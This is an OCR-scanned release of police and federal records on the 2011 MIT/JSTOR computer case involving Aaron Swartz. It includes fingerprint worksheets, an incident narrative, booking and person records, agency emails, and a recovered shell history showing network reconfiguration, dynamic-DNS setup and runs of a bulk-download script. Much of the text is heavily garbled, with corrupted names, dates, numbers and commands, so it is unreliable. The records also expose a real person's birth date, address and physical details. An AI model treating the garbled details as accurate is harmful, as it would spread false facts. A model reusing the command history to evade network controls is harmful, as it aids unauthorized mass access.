Candidate List Searched and Reviewed: ,@’

(1) edac o Roct

Mijse. Notes:
Valge for Comparison < b @ 4; = Mmg{g (#Z/M,

naal C on;

Name DOB OBTN

Staer n_ 1/0g /3. / (7
L Swlaer 2 [fIerdn [1/08 /3. _TZntd 2017 R ER
2[(LX6).(B}7NHC) [(b)(ﬁ) AB)7NC) o
3
4.
5. .. —
6. R
7. .
S. _ J
Y —
10,




(*ambndg\fohce Department Y Cascit: _[/‘-,/7

Identification Unit Latent#: £ (5 of
Exawiner/ (B)6).(bX7KC)

LATENT PRINT EXAMINATION WORKSHEET | Date: @Qa =~y

coetrmvon o

Agj b Hgrtonadveohie,
L :] 3 D s -1: i
Patiern Type/Ridgo Flow / /M a alot e)/’ reld

_ Incipient ridges, scars, wails /uu(,,
Quality (distortion) tl cais, /Uvéf e Ce -
: A,Lpl%(.d &/m%
,.«(,41.444./

A Level 2 Detail:

Ridge Morphology (size/shape) /f/u/ 7/ j%hﬁi'
E }

Target/Unique ridgo deteail
Level 3 Detail: L

Pore/Bdge defail 2atlae, /ﬁm ;Zalm.f j’da/m mué{f

Secondary Crenses

hzdlvidual:Cbmpamd: &ijﬁﬂ/& % h//./’/ , Dss:.

" Individualization: :“),,.UZ M‘v\_ W/ M DoB ///957//7?é
' Al (D) Fhir TTHn1 20 1] 5003 3

m Ageney: &zjn:m/

Nate Submitted: .Q 425 /‘,?()/ /Date Verified: 3 A / / R0t/

Loy

RESULT NOTES
Not suitable rur gearch but snirable for comparison

boere woaiaeme

Unable to mnake compunson due to poor quality of
mpressions on the fen-print card
Checlced a3 far as possible and mmmm  unidentified

“Insufficient detail to esiablish identity but sufficient
| detail to present to exclude identity
Insufficient detail {0 either establish or exclude
ilentity -

Insufficient detail for comparison purposes /

2710




CAMBRIDGE POLICE DEPARTMENT
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Incident Report #l 1000078

Approved Pot Publie vidw :

w0 DA TG Peirieédi Thu Apr 0¥ 16:05:113 »or 20 By |7XC)

page 1of 3

(b)(6).(b)

Cose Title

L.acation
MIT COMPUTER CRIMBY

301 VASSAR ST (BLD 1)

Date/Time Repented atesTime Ocouried
01/04/201) 10:48:00 to
ncident Type/Offense

MISCELLANECUS STATUTORY VIOLATION{(399399)

e Peraond

ihome}

1el))

Status fName o Ser ce Age DOB

hone Address

thamet
]

ol

le Type Near Make Wiodel

Color Req ¢ flate

ntolen § RecCode i)ate Rec RecS

Rec By

¢ .-.: o ) :-;‘j":. l):f‘.:'.",' . i"‘"':-'- ‘; : A { ‘.bz’.“?t.;‘ 5 kit = '”_:.:,;
c Dus _Ip My Modet Serial ¥ value
: 0 e ‘~ Pt s K FEETRL R 'm_‘
INAA VR TR A SRR A R
ENCE

(02/11/2011L




CAMBRIDGE POLICE DEPARTMENT Page 3 o3
CAMBRIDGE, MA
Incident Report #11000078

(b)(6) (b)

Approved For Publig View : Date/Time Prinjed; Thu Apr 07 16:05:13 EDT 20By(7HC)
Lase Title J-ocation

M1T COMPUTER CRIMRS 301 VASSAR BT (BLD 1)

Date/Time Reported ate/Time Occurred

01/04/2011 10349:00 Lo

nddent Type/Offense

MISCELLANEOUS STATUTQRY VIOLATION(9999991

NIV (Continuad! £ rom p

*RocketPish® on the top and bottom resds, *RF 3,5 SATA lid enolosure kit RP-AHD3IS* 1Inside the
compartmont 18 a green alectronic vircuit panel. A USB cord connects €82 to CS1.

CS2bs (1) inner hard drive unit, or internal vemovable unit located inside C92, Unit e

a BSameuny, Modael: HDI54UI, SNy 31VY6J1CZE00326.

ShaconpRNAtINDIGRS

The following svidence collected on scene by me on 01/04/201) and sealed in a small coin
envelope.

LPLt (1) emall clear hinge lifter frxom the bottom right corner of the inner hard-drive
unit (CS2b). Collentsd st approx. 1231 hours.

LP2: (1) amall clear hinge liftsr from the top right corner of the inner hard drive
unit (C892b). Collected at approx. 1224 hours.

LF33 (1) small clear hinge 1ifter from the middle left side of laptop screen

{(C31l). Collected at approx. 1226 houre.

LPé: {1) small clear hinge iifter from the upper left coxmer of the laptop screen
(C81). Collected at approx. 1330 hours.

LPS: (1) small clear hinge lifter from the upper right corner of the laptop screea
(C81). Collackted at approx, 1232 hours.

LP61 (1) ewall clear hinge lifterx from the middle right sidas of tha laptop scresn
(C81), cCollected at approx. 1345 hours.

CANNONEDWNAANORBA
PHOTOS) (8%) photos collected on scens an 01/04/2011.

bGARREASRERNNSCODd

NARRATIVE: —_— -
bB)(B).(bN7HC 5

On Jasuary 4, 2011, F K8).()THC) Lnd 1 responded to the MIT Police Htation to sasist with

an_incident that ocourred within BLDG #16. We were escorted to the location by CPD Detective

b)(8).(bX7:AC) MI? Datectives and other Jecret fexvice Agents. At approx. 1108 hours, we

arrived at Bldg 1§ and procasded to the basement level to a closst (labeled #16-004L)

that was secured by MIT officers on scene. We observed double doers opening to a closet area
containing phone and computer network portale according to MIT IT specialists on sita. The
closet was spprox. 4 faet deep by 6 feet wide, the floor covered in dust and
olactrical/computer/phone panals lined the walls, some w/ wirss plugged into the panels/units.
I observed a chair in the center of the room with a laptop om top. We were advised thia
wag placed thexre by MIT IT spsoialists. On the floor, I alao obaserved a zardboard box turned
{(Continued on next page)

Renorting Officer S0 4 Ruvicwing Oftiver Approving QHEeEE

2712



CAMBRIDGE POLICE DEPARTMENT Pige 3 of 3
CAMBRIDGE, MA
Incident Report #11000078 TR

Approved For Publio View Datef Mo Printed. Thu Apr 07 16105113 £ot aomy|/(©)
“ase Tide L.ocation

MIT COMOUTHR CRIMNI i0) VASSAR ST (BLD 1)
Date/Time Reported Date/Time Occurred
01/04/3011 10149200 to

ncldent Type/Offense
MIACBLLANEOUS STATDTORY VIOLATIOM(292999)

Narrative:” (continued from pagd 2 :

over, a small laptop (CBl), snd a silver hard drive compartment ({C952) with power
cordn and data cablas connecting them to the computer é-noll on the wall, ©8pecifically, a
grey wire conneots the laptop to a Cisco Systems Catalyst 4006 in Row #4, plug #2,

Tha scene was documented with notea and photaogrephs. Then I examined the lapbop, hard-drive
compartment and inner unit (CB1, €32, C82b) and accoampanying pover cords and USB cords

for any vigible ridge detail. Paint ridge detall waa obeerved on the laptop écreen. I fumed
the laptop, hard-drive snd ipner unit (T81, €92, C82b) and power/UER cozds with a

portable fuming wand. I than used traditional black ¢ingerprint powder to enhance any ridge
detall on the surfaces of those itsme. Ridge detsil wae obesrved on the inner hard drive unit
(C82b) and raeulted 4in 2 latent print lifts {LPL, LP2}. Ridge detail wap also

observad surrounding the laptop screen (C8l} resulting in 4 latant print lifts

(LP3-LPS), o further ridge detail was cbserved on any other surfaces.

The items CS1., CB82 and C82D wers left in the cumtody of NIT Detectives and fiecrat Service
Agents.,

'We claared the scane at approx. 1300 hours.

L0 Wnpprovine Officen s
(b)(6).(b)7)C)

' IReviewinm Officer *

(B)(8).(6X7XC)

2713



Cambridg&e'?olice Department
Identification Unit

LATENT PRINT EXAMINATION Womcsrmm Date: cgézp /o207

: Procegs ues Y /A
P e Powder; Chemical: | ‘g‘ﬂ’ M."% o

l ga Photo: Others___ . -
= I ' . . : -
s ‘ii '  SERX Entry - )
’ , 3! Date Untered: AZ/}_/__ - /

; Examiner: :
R /
. ?i 'ig i o Inverted;
sz L : ) . { Pattern: [:xz—s_:] ‘ PAI,M—J
’ Core Present:
Skeleton:
i . . #of Points: :
‘ : Submitted fo Dat 1
_Finger Palm Impression Inftial QED Sujpd
; ]
Value for Compavison / @ -
s <o sl oo b - Mumn ,gztlﬂuxxll):uxrisun: ’ : ’ -
A

Nams DOB . OBIN —

s e e e




Camb.riclge Police Department
{dentification Unit

LATENT PRINT EXAMMNATION WORKSHEET

"Gt 100098

Latentit:)
fixaminey  (b)(6).(b}7HC)

Nate: oA/ 70 777
7 V4

2 WS ISY ST

Level | Detail:
Pattern Type/Ridge Flow

_ Inoipient ridges, scars, warts
Quality (distortion)

Lovel 2 Detail:
Ridgs Morphology w"e/shape)
' Target/Unique ridge detail

Level 3 Detail:
Pore/Bdge detail
Secondary Crcases

Individuals Compared:

e Tndividuslization: ~

(BXB).ONHC) .
E Bxclusion: ’
Inconclusive: /
V Agency: yd
——_ 'T')atP.'Suhzfécd:"‘“ a es "ﬂ&ta’Vi:rifmd:“ h e e - -
/ .

——— RESULTNOTES
Not suitable for 3garch but suitable for comparison

Unable 10 mgike comgarison due to pous quality of
_impressiongon the ten-print card -

Checked 4s far as possible and temains usidentified

Insufficient detaxl to establish identity but sufficient
detail to present to exclude identity _

[nsutficient detail (o either cotablish or excluds
identify

So0cas tavtn prim caren 4

feet vesmsmraravrans!

vmrneen

Insuificient detail for compaison purposes

2715




Cambrtdéﬁ’ohce Department -

Identlﬁcutxon Unit

LATENT PRINT EXAMINATION WORKSHEETY

D Y oy

Date: é‘-a,% L2871

Procussin TL niques 1
Powder; Chemxoal F/KC ’/ﬂ(-l/ £ ?ffzd
Photo Othes___. ..

SPEX Entry )

Date Butered:

e e e e o5 s e

Examiner:
Inv'crged: D
Pattern; IE_S—_J

Core Present: | |
Skeleton;
-# of Poims:____

Submitted to |

\

Nams poB opme—"
/ .

1 . _..4-—"/-—\ . /’/
2. / ’ \/ ey
3. [ o —
4, / e
(S; " / (b)6), (b)w/ — . ~_ e et e
7. i <
3. ] //
9. . el
10, — p
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. Camb'ridg;w}oli_ce Department
st Identification Unit
YNy

LATENT PRINT EXAMINATION WORKSHEET

| l)ato°_¢9a2/a 7

Level 1 Detail;

Patterm Type/Ridge Flow
Incipient ridges, scars, warts
Quality (distortion)

A Level 2 Detajl:
\ Ridge Morphology (size/shape)
Target’'Unique ridge detail

Level 3 Detail:
Pore/Bdge detail
Secondary Creases

/

e Individuals Compat

Individualization: (bX6).(0)TXC)
E Exc!uéion:

Inconc'lusive:
V | Ageney:. / | \/
' Date .‘{ub:ﬂéed: ' . ate Verified:

RESULI’ NOTES

e
Not suitable for s/a(ch but suitable for corepariso

Unable %0 mak; compnnsnn dueto pcor quality of
impressions oA the ten-print card

Checked as/ar as pessible and remains unidentified

E—ieh-t dct&il to either estaﬁlish or exclude
identity

Insufficient detail for comparison purposes

e i, i &
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Camb_ridgkcjl’olice Department
Identification Unit

LATENY PRINT EXAMINATION WORKSHEET | Date: !

I Exauniver (b)(ﬁ).(b\(?)(c)

essing ‘Lechnigue; S é .
Powder: Chemical:  [Z)(_ 44874

T gy .
Q Finger > Palmn Impression

s

Yandidate List Seatched and Reviewed:

Phota: Olhcr:_a); TS S

. SPEXEnt
Date Entered:__ /{ /. /
Examiner: -
Inverted:

\_ &_M / Mise. Notes:

Value for Comparison <o R ey

e - Manug Cymoarisows

Name . ‘ DOR . OBTN

L E3Waere . Ola cnn b 2o, TeAM2 2 &
TENE).OXTNC) [EXeL.EXNC) ,

A e e
e

10 % NG




N\
Cambndge Police Departinent
Tdentification Unit

9/ LATENT PRINT EXAMINATION WORKSHEET

Lovel 1 Detail: éfzgzzﬂza’é/rzl /14}/1444
PattemTypeJliidgeFlow N\ lW AHee “j 24 W
. 'Incipient ridges, scars, warts O ot )01 24004

Quality (distortion)

Mz ) . ; - - )
Ridge Morphology (size/shape) Q\"L dd&p ’é 76
Target/Uniqus ridgs detail &uu’m% 2Ll ANLA PN 1 2=

S . % gﬁ;,/-ga%fizm ua%&/m
Pore/Edge detail Jm et az 7&/ z;zd nH Clran é,//
Secondary Creases L o GPA.

Indxvxduajs L,mm)an(gg/b/(),t;efg ﬁdfﬁt ! }1//4 YLK ///0 8 / /1986 -
ITAMROIIOOO 32

sy

v

| R N

C (._‘p.L (BY(B).LXTHC)

Indmduahzatxon :

“, b'og: 1/08/1996
E Exclusion: SwAaera, Aarin, 7/ S /94 Py

Incnnclusiw{ {(bX8).(BYTXC) /

V Agency:
— Date Subnnitted: =~ - PataVerifled— -
N RESULCNOTES .~
Not zuitable for search but suitablo for camparison
e e et s e e S T b)(8),{b)}7HC BRPUSIO
Unable tn meke comparison due to poor quality of = e ()@, LX7HC)
| impressions on the ten-print card - L S
C d

hecked a8 far a3 possibie and remains unidentific BYELENTNC) -Zg

TInsufficicat detail to establish identity but sufficient

detail to present to exclude identity I e ff{'f‘:j_.f (bﬁzﬁig)/ R
Insufficient detail to either establish or exclude

identity ,/ -

Ingutficient detail for compavison purposes . il N
e ' 2719_J
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> Cambridge Police-Department
) Identification Unit
LATENT PRINT EXAMINATION WORKSHEET

L
e e e e T

CynndD

a0 Ry
AN vgwi

Progessing Technigue: iy
Powder: g Chemical: Salact . ud
Photo: ( Othew .l s Wéﬂ.—)

— e i ey =

IR

SPEX Eotry

Chinih SRS, T

Tiate Fntered: _/\/ﬁ:___.

Examiner:

s
L "3--4

nverted: D

Skeleton:
- # of Points:_

—~

-—

et I
4

Ringer
e

Value {or Comparisou

Palm Tnpression

1RD

]

""" - Whonead Cumpnyvisoas R /’/ -
Name b8 Ow,/ |
_/ . .
et
— ’H,—/<’ R
\ =
e
—— X ()| ()X ¢TI a1 () z

)
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Examine

. X

| NS - ' \ 1
Cambridge Police Department Caseth /- g&é@ 75
Tdentiftcation Unit Lafenwa:;:zt»f;m_‘

{5)6).{bYTHC)

A _‘»,m' LATENT PRINT EXAMINATION WORKSHEET | Date:

Lovel 1 Detail:

Pattern Type/Ridge Flow
Incipient ridges, scas, warls
Quality (distortion)

- Ridge Morphology (szze/qhape)
T Target/Unique ridge detail '

Pore/Edge detail
Secondary Cre

1 Tadivide

== PateVerified:

RESULY NOTES

Not snitable foy/scarch but suimhli L COMmMpArison

Unable to I?Ake;:'nmpzmson dus to poor quality of
Improssions on the ten-print card -

Checked 4s far as possiblc and re mmm unidentified

"Insuf I-(‘K‘.nt dutsul to establish identity but sufficient
 detailto present to exclude identity

Tnsufficient detajl to either establish or axcluds
identity .

Insufficient detail for compatison purposes
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Cambridge Police Department . { Caseit:

ime | v : . L.atenidk
Identification Unit Exawiner;/ ©10.)

LATENT PRINT EXAMINATION WORKSHEET Date: _// "f;/ M

- S ]

'\\.l

Processin
2 Powder;

Photo Qther:

¢ et e g 7

F_ ; /—l/ Chcmlcal 'j/‘g’fw S’

-

LPH 128 1y

SPEX Entry

PateEntered:
Bxaminer: /
Invertcd D o .

) ) patesin: [ . [ws | [s M
Core Present:
Skeleton:

-# of Points:____

_Floger Palin Inpression

Value for Comparison / M .
. /

S PO NP [ESTON ‘?\r’ml'l}ﬂ‘l"g"l"lﬂlrimnj"‘ P .o . PN / .
. ' . /
dams 108 ._oBtN -
[ ‘ - /
2 R ) el
3. /
4 .
3 /ﬁﬁ).(h)mml - .
(53 '
7 1/
8 , 1/
9 /'i,__;,_ — /
10 T 1l/ i (
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Cambﬁdge Police Departinent
Identification Unit

LATENT PRINT EXAMINATION SWORKSHEET

[ixawines:

Date: Z/ GID/U/

Lavel | Detail:
Pattern Type/Ridgs Flow

~ Incipient ridges, scars, warts
Quality (distortion)

Lovel 2 Detail:
Ridge Morphology (ssze/shapc)
7 Target/Unique ridge detail

Lavel 3 Detuil:
Pore/Bdge detail
Se¢condary Creases

/

Individuals Compared:

) Individv:alizaﬁ;yn: .
E Exc.lu;sion.:
Inconclusive:
V qunuy: /
- Pate Suhmittpé" T)-£¢ YVeufody - e o

/
RESULT NOTES
Not suitable for search Hut suitable for ¢ umpm ison

Unable to make comparison dus to poox quality of
impressions on the i€ n-print card -

Checked as far as fossible and remains unidentified

Tnsufficient dejdil to establish identity but sufficient
etail to presghit to exclude identity .

Insufficientfletail fo cither cstablish or sxcinda
identity .

Insuffictbut detail for comparison purpases

2723




.—2_‘\,

4 U W
3 -1"(.\';33\

Uv_,
) "

» v E
Cambridge Police Department
Identification Unit

LATENT PRINT EXAMINATION WORKSHEET

\ (?asci#: jé-—- ;’;‘QAZZZ&_
Latent#: . /0
Examinei'z- (M(&éiﬂ%) 7

Date:_// 2L LT 7
7 7

, LT 01,5 CARL

o L O AU AT TR T

Proecysing Techpique:
Powder; E/F;ﬁf&(?hcmical:
-

Photo: Other: .

.  SPEX.Enty
Date Balered: ___ A[’f_._

Bxamyner:_____ -

Inv’ez'ged: D

Pattern: | rs | I ] w
Core Preseat:
Skelaton:

# of Points:__

Finger .

Value fos C}lmparison

‘ Palm

Impression

23

Name .

WL NN RSN
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Cambridge Police Department
Identification Unit

LATENT PRINT EXAMINATION WORKSHEET

Caselts //=0000 7K

Tatenth ;ZZS of /g
Exami bX(6),(bX7H

Date:

et . L s g e v 8 s 8 400 wp 0 B S &

Level | Detuil:

Pattern Type/Ridge Flow
Incipient ridges, scars, warts
Quality (distortion)

Leve il:
Ridge Morphology (sxze/almpo)
Target/Unique ridge detail

Level 3 Detail:
Pore/Bdge detail
Secondary Creases

Individuals Compared:

Individualization: - )

_Exclusion:

. {b)(8),(b)X7XC)
Tneorclusive:

Agency ,/\

= Pafe Verifred: -

- nazewyaﬁued \ /
/ \/

Y RESULT NOTES

Not siitable for 7&011 but suitable for companson

Uable to majeé comparison due to poor quality of
impresslonsHn the tea-print card

Check:?é far as possible and remains unidentified

Tnsuffjdient detail to esteblish identity but sufficient

ot i fres e e et © Semmma e b baras

s LR LTI A

detail to present to exclude idontity
Insufficient detail to aither establish or excluds
identity e e AR e

lnsuf¥icient detail for comparison purposes
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Cambndge%l:ce Department
Identification Unit

LATENT PRINT EXAMINATION WORKSHEET

.'/u/ew/

73

echnique; . 4 ¢
Chemical: [Zf W‘ﬂ 704
Other:
: “ ' SPEX Enty
; e & :
: { A l.‘.wa 3@‘" ’%. ? : Daie Bmered:_ﬂlﬁ /
-*‘ % '.-\..6"’ < g I:Z:mmiucr:’~ s
- Inveried: [j .
_ Paner'n:[ Rsl l 1.3 l l w “ ‘_ P/\YM
Core Present; L
Skeleton:
# of Points;__
Submitted to L
Finger  Paim Lwpression fnitlal QED S
’ Candidate Lis ]
Mige. Ny '
Value for Comparison ‘Q,b ' :
A —
; —
Manual Comparison: - / e
Nare poa = BN
1
2.
3
a.
5.
6‘ ——or - -
7.
3.
2.
10.
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Cambri(;Eg Police Department
Identification Unit

LATENT PRINT EXAMINATION WORKSHEET

Casclt
Latent#:
TExawminey, '
Dats: //]'57// antl

level 1 Detail:

Pattern Type/Ridge Flow
Incipient ridges, scars, wearts
Quality (distortion)

Level 2 Detail:
Ridge Maormphology (size/shape)
Target/Unique ridge detail

Level 3 Detajl:
Pore/Edge detail
Secondary Creases

Y

Individpals Compared:

Individualizstion: ~

Bxclusion:

Inconclusive:

I'V J Agency:
e e Date Submitte Nate Verified:
y4
RESULT NOTES

“Not suitabie for search But svitable fof comparison

Unable to maks cofiparison due to poor quality of
impresgians on (e ten-print crd ©

Checked as fav'as possible and n:cxusiihkﬁﬁﬁénfiﬁe'ci'

At detail to establish identity but sufficient
presenttosxcludeidenuily | o b

Trsufficient detail to sither establish or exclude

R e e e R




Main Porm

CAMBRIDGE POLICE DEPARTMENT
CAMBRIOGE, MA

Master Person #: 1100000437

Page 1 of 3

Basic Person Information

Name: AARON H SWARTZ

Address: {b)(8).(bX7KC)

City:

Siate/Zip:

Gender: MALE

Height: 506 Welght: 120

DOB: 11/08/1986 Age: 24

SIN#:

Physical Charactasistics

Hair Color Eye Color Build Complexion

BROWN BROWN THIN FAIR

fcan Marks sad Tattoos

Porsonal Data

Race Ethnlcity Residency

WHITE NOT OF HISPANIC ORIGIN NONRESIDENT

HomePhone | Work Phons Cell Phane
[(©)8).()THC)

Emali Address

;latﬂalsuﬂui Malden Name

UNMARRIED

(Mothet .o n Nam Pather
FB)(G).(b)U)(C) 5'(3‘)56)((0)(7) (b)(6),(bX7)

E y Birth Country zen
(b)(6).(L)(7 (B)(8).(b) Y
- — Fal(0)
2! Stute Country Qlam | Eaphrstion Date

[LX8).EX7THC) ] fea 11/08/2013

hitps/fpd-rms2/QED//policepartner/common/crimeweb/mniview/main, jsptagency=CAM-P...

2728
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Main Form Page 2 of §

Employer
Employer
Occopation Employer Employer Phone
RESEARCH AT HAR HARVARD U
Employer Address
124 MOUNT AUBURN ST #52 CAMBRIDGE MA

Finger Prints

Finger Prints
Prints Taken? Priot # Dale/Time Taken
Y TCAM201100 01/06/2011 14:57:26
SiD# FBI # State Prob Num

Entry Information

Enlry Information
zgmgmunm:m_. DT Entered
[(77)( 1()7HC) 01/06/2011

L No DT Updated
(B)(6),(b)7X L 022312011
Names
Name(s)
Name Type Last Name First Name Middle Name Sullix
TRUE SWARTZ AARON H
ALIAS SWARTZ AARON H
ALIAS SWARTZ AARON H

2729
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Main Porm Page 3 of 3

Addresses
Address{es)

Num Street Name Apt  City State Date Entered

950 MASSACHUSETTS AVE CAMBRIDGE MA 02/11/2011 00:00:00
(b)(B).{BLXN7)C) 01/06/2011 00:00:00

014062011 00:00:00
Links
Activities

Application  Record Date Record Information

Link Information

BOOKINGS 01/06/2011 ARREST Booking date: 2011-01-06 14:46:26 Arrest date: 2011-01-06

14:18:00

Complaint #: 1100000023 Charge Code: 266/18/B Desc: BXE DAYTIME FOR FELONY ¢266
518

QFFENDER 01/0672011 CAM-PD INCIDENT #: 11000131-0 OFFENDERK #: 1
DEFENDANT

QFFENDER 01/04/2011 CAM-PD INCIDENT #: 11000078-1 OFFENDER #: {
SUSPECT

OFFENDER 01/04/2011 CAM-PD INCIDENT #: 11000078-3 OFFENDER #: 1
SUSPECT

2730
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Prisoner Property Inforination for Booking #TCAM201 100032 Page | of 1

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA
Prisoner Property Report

Below Listed Property Removed From:

Name POB ID Number
AARON H SWARTZ 11/08/1986 1100000437
Address

24

CAMBRIDGE MA

Property Removed Fromn Prisoner

Property # 1
Property Type Teg ID  |Storage Location

PERSONAL PROPERTY PLASTIC BIN, PLASTIC BAG
Property Description

headphones, pen, cell phone, ear muffs, black wallet with ID's and 100.01 in cash and two sets of
keys. black coat and running shoe

Release / Transfer From Police Custody
I Certify the above property is a correct Jist of property taken from me at the time of my arrest.

Prisoners Signature: Date: Time:

J—— e e oo o f ]
= e e == -

1 Certify the receipt of ali the above listed items.

Prisoners Signature: Date: Time:

Officers Signature: Date: Time:

e e e

2731
h(m:l/ud-rmsZIOEDllsiwICAM-PD/bookinalPrisProoertv.isp?uaencv:CAMAPD&booknum.,. 47742011
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February 23, 2011

Hi
1 um;ciete your help with this. 1know the work load you are up against,

The submitted photos are of 1 latent, tabeled LP8, It was developed on the surface of an
internal hard-drive unit. The photos are taken prior to any processing. Only an ALS was
used. Once the ltem was fumed and processed the detall was minimized or lost.

Thank you again. Feel free to contact me with questions or to allow me to return the favor
of assisting you with any casework.
(B)6).(bX7HC)
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4 P £
Page 1 of |

<?xmi version="1.0" encoding="UTF-8" standalone="yes" ?>

<a:clrMap xmins:a="http:/ /schemas.openxmiformats.org/drawingmi/ 2006/ main®
bgi="R1" txi="dk1" bg2="1t2" tx2="dk2" accentl ="accontl” accent2="accent2"
accent3="accentd" accentd="accent4" accentS="accentS" accent6="accents"
hiink="hilnk" folHlink="folHlink" />
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Page 1 of 1

- <xml xmins:o="urnischemas-microsoft-com:eoffice:office”>

<0:MainFile HRef="../PW%20B8ullding%2016.htm" />
<o:Flle HRef="themadata,thmx" />
<0;Flle HRef="colorschememapping.xmi® />
<o:Flle HRef="image001.jpg" />
<¢:Flle HRef="image002.jpg" />
<0:Flle HRef="image003.jpg" />
<0!File HRel="lmage004.fpg" />
<a:File HRef="Image00S.ipg" />
<0:File HRef="image006.jpy" />
<0:File HRef="Image007.Jpg" />
<a:File HRef="Image008.jpg" />
<0;Flle HRef="Image009.1pg" />
<a:File HRef="flellst.xml" />
</xml>
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FARON PARAMORE (GPA)

From: Wade Tyson, Jill C (OLA) ‘("; )(?'(b) l@usdoj,govl

Seont: Tuesday, January 22, 201

To: ARON PARAMORE (GPA)

Ce: (b)(8).{bX7)C) Bhq.dhs.gov

Subject: RE U.S. Secrat Service - Aaron Swartz case out of Boston

DAD Paramore:

Thanks for your e-mail. 1 will get back to you shortly with the right pPOCs here. We have a
few attorneys working on this matter and I want to ensure I get you to the right place.

-3CT

3111 C. Tyson (Wade)
Attorney Advisor
U.S. DEPARTMENT OF JUSTICE

A islative Affairs
v(b)(e)-(b)(")(C) SDOJ . gov
(EX8).{bX7)(C) - direct

----- Original Message----- i
From: FARON PARAMORE (GPA) [mailte[®MBLOBITNC) — husss . dhs.jov)
Sent: Tuesday, January 22, 2013 10:59 AM

To: Wade Tyson, Jill € (OLA)
CcPLHO).L}7HC)_ jihy, dis . gov
subject: U.S. Secret Service - Aaron Swartz case out of Boston

Good Morning Ms. Wade, hope you are well.

Ma‘am, my name 1s Faron K. Paramore, I serve as the Deputy Assistant Director in the Office
of Congressional Affairs for the U.5. Secret Service.

Last Thursday afternoon (1/17/13) I was contacted by a Mr'. professional staff
with the House Oversight & Government Reform Committee (Majority Staff - Chairmen Issa),
requesting to recelve a briefing from the U.S. Secret Service regarding our role /
lnvestigation of the Aaron Swartz case out of Boston, MA,

Ma'am, at your convenience would it be possible for me to give you & call to discuss this
matter.

Thank you very much for your time.

Faron K. Paramore

Deputy Assistant Director
Office of Congressional Affairs
United States Secret Service

Ph: _(292) 496-5676 Main line
{b)(6).(bX7KC) pDirect 1ine
tell

(202) 405-5740 Fax

2736



FARON PARAMORE (GPA) -

From: FARON PARAMORE (GPA)

Sent: Tuesday, January 22, 2013 1:05 PM

To: PAUL MORRISSEY (GPA); JANE MURPHY (INV), HUGH DUNLEAVY (INV)

Ce: FARON PARAMORE (GPA), LYNDA WILLIAMS {GPA) _ .

Subject: Call w/ DOJ regarding Aaron Swartz case [ bnefing to House Oversight & Gov't Refarm
Committes

Good afternoon, hope you are well.

SAIC williams and I just spoke with Ms, Molly Gastos from DOJ's Office of Legislative
Affairs.

Ms. Gaston advised that they were also telephonically contacted by Chairman Issa's staff last

Thursday afternoon, requesting to provide a briefing on the Swartz case. per USDOJ/OIP/OLA

(bX5)

I will advise the group of D03's decision once I hear back from Ms. Gaston.
Thanks much.

Facon.

Faron K. Paramore

Deputy Assistant Director
office of Congressional Affairs
United States Secret Sarvica

Ph: {202) 406-5676 Main line
(b)(6).(bY(7)(C) pDirect line
Cell

(202) 406-5740 Fax
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(B)(6),(b)7)C) CiD)

Fromy; Heymann, Stephen (USAMAJ[GYEIENTNC usdoj gov)
Sent: ?‘_’fff’_‘ :!EEE'M" 12:58%‘%. JUUBE—
(DXB).(BYTUC
b)(8).(b)(7}(C)

To: )
Ce: [ (BOS):{BXBYBNRTNC) JISAMA)
Subject: Aaron Swartz

|(b)(6).(b) | per EQUSA

(CHD)

1s there a time we could talk this afternoon ar tomorrow? (If It is 8 matter of indifference to you, this afternoon wouid
be better for us.

Many thanks, Steve

2738
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From: |§b)(_§),£b)(7)(0),9e. BOS)
Sent: STneeday Warch T2, 2011 5:31 PM

To: 'Hoymann, Stephen (USAMAY

Ce: [BYB).EXNC),_JCID)

Subject: bash history of Acer involved with MIT hack and downloading from JSTOR
Attachments: bash-History.txt

3 ]]

Tha bash history of the Acer that was connected 1o the MIT network has references to the python script keepgrabbing
and JSTOR:

cat .bash_history

¢m .bash_hlstory
screen ~x

uptime

df -h

Is fmnt/pdfs/|we -l

Is -f /mnt/pdfs/ jwe -l
screen <X

cat .bash_history

Is

cat .ssh/known_hosts
wholis ygl.as

uptime

curf www Jstor.org
links www.jstor.org/stable/838383
Is

mv 838383.pdf /mnt/pdfs/
screen -r

screen -x

cur jstar.org

curl -{ wwww Jstot.0rg
curl -l www jstor.org
sudo ifconfig wian0 down
sude dhdlient -re

sudo dhcitent -r

sudo ifconfig ethO up
sudo dhclient

curl -l www . jstar.org
curl scripting.com
[shinfifconfig -a

curl scripting.com
ping 4.2.2.2

cat fete/resolv.conf
sudo dhellent ~r

sudo dhclient
ping4.2.2.2

cat jetc/ resolv.conf
curl scriptng.com

2739



curd www.google.com

curt - www jstor.org

Jsbin/ifconfig -a

ping ghost-laptop.dyndns-free.com

ps ax | grep ip

Jetc/initd/ez-ipupdate

Jetc/init.d/ez-ipupdate reload

sudo /etc/init.d/ez-ipupdate reload

ping ghost-laptop.dyndns-free.cam

dig ghost-laptop.dyndns-free.com

dig @ns1.dyndns.arg ghost-laptop.dyndns-free.com
sudo fete/init.d/ez-ipupdate restart

dig @nsl.dyndns.org ghost-laptop.dyndns-free.com
ez-ipupdate --help

ez-ipupdate ~help|less

sudo ez-lpupdate

sudo ez-ipupdate -i ethQ

more /etc/ez-ipupdate/default.conf

ez-lpupdate —help|less

suda ez-ipupdate -¢ /etc/ez-ipupdate/defauit.conf
sudo ez-ipupdate -vwv -c /etc/ez-lpupdate/defauit.conf
ez-lpupdate -help }less

sudo ez-ipupdate -vwv -¢ Jetc/ez-lpupdate/defauit.conf -I ethQ
sudo ez-ipupdate -¢ /etc/ez-ipupdate/default.conf -i eth0
dig @nsi.dyndns.org ghost-laptop.dyndns-free.com
Is Jmnt/{we -

ed /mnt

Is

ps ax | grep touch

ps ax } grep seq

touch 1

Is

touch 2

saq 120

seq 1 20 | xargs touch

Is | we-l

seq 1 2000000 | xargs touch

Is ) wed

Is | less

Is | we -l

ps ax | grep bash

w

whoami

kill 3658

ki) -9 3658

mkdir pdfs

cd pdfs

~/{keepgrabhing.py

eimacs /hame/ghost/keepgrabbing.py

zite /home/ghost/keepgrabbing.py
~/keepgrabbing.py

touch foo
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rm foo

¢d .
~/keepgrabbing.py

¢d /mnt

Is

m?*

Is

cd pdfs

is

cd

Is

python serveblocks.py
python serveblocks.py 8092
by

fe

ps ax | grep serve

kit 2461

ps ax | grep serve
python serveblocks.py 8092
hg

Is /mnt

is /mnt/pdfs

Is <l /mnt/pdfs/

cd '
gnome-screensaver-command --activate
Is

ps ax | grep curl

kit 19047

curl www.jstor.ong
dhclient --halp

sudo dhclient
bwm-ng

Is hlocks/|we |

df -h

links www.stor.org/stable/873098
bwm-ng
gnome-screensaver-command —activate
1s blocks/|we -
